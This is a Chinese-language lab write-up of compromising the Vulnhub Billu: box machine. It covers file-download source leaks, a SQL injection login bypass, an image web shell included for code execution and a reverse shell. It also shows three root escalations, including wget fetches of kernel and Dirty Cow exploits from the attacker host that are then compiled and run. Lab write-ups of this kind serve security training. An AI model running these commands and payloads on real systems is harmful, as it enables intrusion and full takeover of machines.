Billu: box 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 Billu: box 靶机(IndiShell Lab)。完整攻击链为:信息收集 → test.php 任意文件下载读取 index.php、c.php、panel.php 源码 → index.php 存在万能 SQL 注入登录绕过,同时 c.php 泄漏数据库凭据 → panel.php POST load 参数文件包含配合图片马 RCE → 反弹 Shell 后给出三种提权路径:phpMyAdmin 配置文件泄漏 root 密码、Linux 3.13.0 内核漏洞 37292、Dirty Cow 40847。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.172。
二、信息收集
(一)存活主机扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
192.168.153.172 00:0c:29:23:8e:31 VMware, Inc.
(二)端口扫描
仅开放 22(OpenSSH 5.9p1 Ubuntu)与 80(Apache 2.2.22 Ubuntu,标题 IndiShell Lab)两个端口。
(三)目录扫描
feroxbuster 与 dirb 扫出多个关键路径:in.php 是 phpinfo 页面,可确认 Web 根目录为 /var/www/;test.php 存在任意文件下载;panel.php 302 跳转登录;还扫出 /uploaded_images/ 与 /phpmy/(phpMyAdmin)。
┌──(root㉿kali)-[~]
└─# feroxbuster -q -u "http://192.168.153.172" -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html,zip,db,bak,js -t 64
Scanning: http://192.168.153.172/
Scanning: http://192.168.153.172/images/
Scanning: http://192.168.153.172/uploaded_images/
Scanning: http://192.168.153.172/phpmy/
┌──(root㉿kali)-[~]
└─# dirb http://192.168.153.172
+ http://192.168.153.172/index.php (CODE:200|SIZE:3267)
+ http://192.168.153.172/in (CODE:200|SIZE:47559)
+ http://192.168.153.172/panel (CODE:302|SIZE:2469)
+ http://192.168.153.172/test (CODE:200|SIZE:72)
三、test.php 任意文件下载审计源码
(一)下载 index.php 分析登录逻辑
test.php 的 file 参数直接拼接文件路径,未做任何过滤,可以通过 file=/var/www/index.php 把服务端源码下载到本地审计。

index.php 的登录代码对传入参数只做了一次 str_replace 去掉单引号,但前置了 urldecode,攻击者可以用 %27 二次编码绕过这层过滤,构造万能密码登录。
<?php
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
?>
(二)下载 c.php 泄漏数据库凭据
继续用 test.php 下载同目录下的 c.php 配置文件,拿到数据库连接凭据:
<?php
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
?>
(三)phpMyAdmin 查到登录账号
直接访问 /phpmy/,用 c.php 中泄漏的 billu:b0x_billu 登录 phpMyAdmin,在 ica_lab.auth 表中看到唯一一条管理员凭据 biLLu / hEx_it。

四、两种登录方式
(一)方式一:万能 SQL 注入绕过登录
登录框 POST 两个参数 un 与 ps。由于 urldecode 在 str_replace 之前执行,把单引号 URL 编码为 %27 即可绕过单引号过滤。传入用户名 or 1=1#、密码任意,最终拼出的 SQL 变为:
select * from auth where pass='任意值' and uname='or 1=1#'
数据库执行时,and uname= 后面整个 or 1=1 被 # 注释掉,where 条件恒真,直接以管理员身份登录。下图是同样手法在示例 users 表中的效果:

(二)方式二:用配置泄漏凭据直接登录
不使用万能密码,直接用 phpMyAdmin 中查到的 biLLu / hEx_it 登录 index.php,效果与方式一相同。
五、panel.php 文件包含配合图片马 RCE
(一)panel.php 代码审计
登录成功后跳转到 panel.php,用 test.php 下载其源码审计,发现 POST 提交 continue 与 load 两个参数,load 直接拼接到 include 中:
<?php
if(isset($_POST['continue'])){
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add'){include($dir.'/'.$choice.'.php');die();}
if($choice==='show'){include($dir.'/'.$choice.'.php');die();}
else{include($dir.'/'.$_POST['load']);}
}
?>
add 与 show 两个分支会自动补 .php 后缀,但 else 分支直接 include 用户传入的 load 值,没有任何后缀,因此可以直接包含上传目录中的图片马。
(二)上传图片马并触发包含
在 panel 提供的上传功能中上传一张尾部追加了一句话木马的 PNG 文件,保存到 uploaded_images/test1.png。再用 HackBar 以 POST 方式提交 continue=continue&load=uploaded_images/test1.png,PHP 会把这张 PNG 当作 PHP 文件包含执行,页面回显文件二进制内容以及 id 命令执行结果 uid=33(www-data),确认 RCE 成功。

(三)反弹 Shell 上线
通过图片马中的 system 函数传入反弹命令,在攻击机 nc 监听 4444 后获得 www-data 权限的 Shell,再用 python pty 升级为交互 Shell。
www-data@indishell:/var/www$ python -c "import pty;pty.spawn('/bin/bash');"
www-data@indishell:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
六、三种提权方式
(一)方式一(推荐):phpMyAdmin 配置泄漏 root 密码
进入 /var/www/phpmy/ 目录,读取 config.inc.php,发现 phpMyAdmin 直接以 root 身份连接本机 MySQL,密码为 roottoor。由于运维习惯复用密码,直接 su root 即可。
www-data@indishell:/var/www/phpmy$ cat config.inc.php
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
www-data@indishell:/var/www$ su root
Password: roottoor
root@indishell:/var/www# id
uid=0(root) gid=0(root) groups=0(root)
(二)方式二:Linux 3.13.0 内核漏洞 37292
该靶机内核为 Ubuntu 3.13.0,可用 searchsploit 找到 37292.c 本地提权 EXP,编译运行后直接提权 root。
┌──(root㉿kali)-[~]
└─# searchsploit Linux 3.13.0 -m 37292.c
┌──(root㉿kali)-[~]
└─# python -m http.server 8888
www-data@indishell:/tmp$ wget http://192.168.153.162:8888/37292.c
www-data@indishell:/tmp$ gcc 37292.c -o ofs
www-data@indishell:/tmp$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
(三)方式三:Dirty Cow 40847
Dirty Cow(CVE-2016-5195)同样适用于该内核,编译 40847.cpp 后运行,程序会自动修改 /etc/passwd 中 root 密码,最终给出 root 密码 dirtyCowFun。
┌──(root㉿kali)-[~]
└─# searchsploit DirtyCow -m linux/local/40847.cpp
┌──(root㉿kali)-[~]
└─# python -m http.server 8888
www-data@indishell:/tmp$ wget http://192.168.153.162:8888/40847.cpp
www-data@indishell:/tmp$ g++ -Wall -pedantic -O2 -std=c++0x -pthread -o dcow 40847.cpp -lutil
www-data@indishell:/tmp$ ./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
www-data@indishell:/tmp$ su - root
Password: dirtyCowFun
root@indishell:~# id
uid=0(root) gid=0(root) groups=0(root)
七、总结
Billu: box 靶机的完整攻击链如下:
-
端口扫描确认 22 SSH 与 80 Web,目录扫描发现 in.php(phpinfo)、test.php(任意文件下载)、panel.php、phpMyAdmin;
-
利用 test.php 任意文件下载依次读出 index.php、c.php、panel.php 源码;
-
index.php 登录存在 urldecode 先于 str_replace 的二次编码绕过,可用万能密码 or 1=1# 登录;c.php 泄漏数据库 billu:b0x_billu,登录 phpMyAdmin 后查到管理员 biLLu/hEx_it;
-
panel.php else 分支 include 未做后缀拼接,配合图片马上传形成 RCE,反弹 Shell 拿 www-data;
-
提权有三条路径:phpMyAdmin 配置泄漏 root:roottoor 直接 su root;内核 3.13.0 跑 37292.c;DirtyCow 40847.cpp 改 root 密码为 dirtyCowFun。
对应的安全建议:① 任意文件下载/包含功能必须做白名单校验,禁止拼接用户传入路径;② 登录过滤必须在 urldecode、数据库转义之后再做,避免二次编码绕过;③ 数据库配置文件不应放在 Web 可下载目录下,更不能与 phpMyAdmin 配置混用;④ Web 目录中不应部署 phpMyAdmin,更不能使用 root 连接数据库并复用系统密码;⑤ 生产环境必须及时升级内核,及时修补 Dirty Cow 等已知提权漏洞。